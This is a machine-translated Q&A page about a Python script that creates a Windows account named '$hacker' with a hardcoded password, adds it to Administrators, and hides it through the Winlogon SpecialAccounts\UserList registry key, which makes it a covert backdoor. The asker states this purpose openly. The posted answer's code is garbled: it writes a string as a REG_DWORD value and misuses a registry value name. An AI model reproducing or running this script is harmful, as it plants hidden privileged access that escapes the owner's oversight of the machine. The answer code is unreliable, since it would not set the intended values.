简体   繁体   English

用 Python 创建一个新的 DWORD

[英]Creating a new DWORD with Python

Hello guys I am trying to teach myself more python than my college does and im trying to create python file to the bash file ive created once.大家好,我正在尝试自学比我的大学更多的 python,我正在尝试将 python 文件创建到我创建过一次的 bash 文件中。 The bash file is supposed to open a new user on 'net users' named $hacker and afterwards hide it on Registory. bash 文件应该在名为 $hacker 的“网络用户”上打开一个新用户,然后将其隐藏在注册表中。 The try is working good and im getting all of the prints i asked when everything is complete but for some reason the DWORD wasnt created (two keys as well) Hope someone will know what am I doing wrong !尝试效果很好,当一切都完成时,我得到了我询问的所有打印件,但由于某种原因,DWORD 没有创建(还有两个键)希望有人知道我做错了什么!

import os 
import sys 
import winreg as w

os.system("net users $hacker Aa123456 /add")
os.system("net groups Administrators $hacker /add")

try:
    key = w.CreateKey(w.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\SpecialAccounts\\UserList")
    print("/SpecialAccount/UserList Was succesfully created !")
    w.SetValueEx(key,'$hacker',0,w.REG_DWORD, 0)
    print("DWORD was succesfully created !")
except:
    print("Sorry there was a problem finishing the changes.")
    print("Please try again.")
    quit()

Try below试试下面

import winreg as wreg

try:
    key = wreg.CreateKey(wreg.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\SpecialAccounts\\UserList")
    wreg.SetValue(key, 'NewSubkey', wreg.REG_SZ, 'LocalAccountTokenFilterPolicy')
    wreg.SetValueEx(key, 'ValueName', 0, wreg.REG_DWORD, '0x00000001')
    key.Close()
    print("DWORD was succesfully created !")
except:
    print("Sorry there was a problem finishing the changes.")
    print("Please try again.")
    quit() 

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM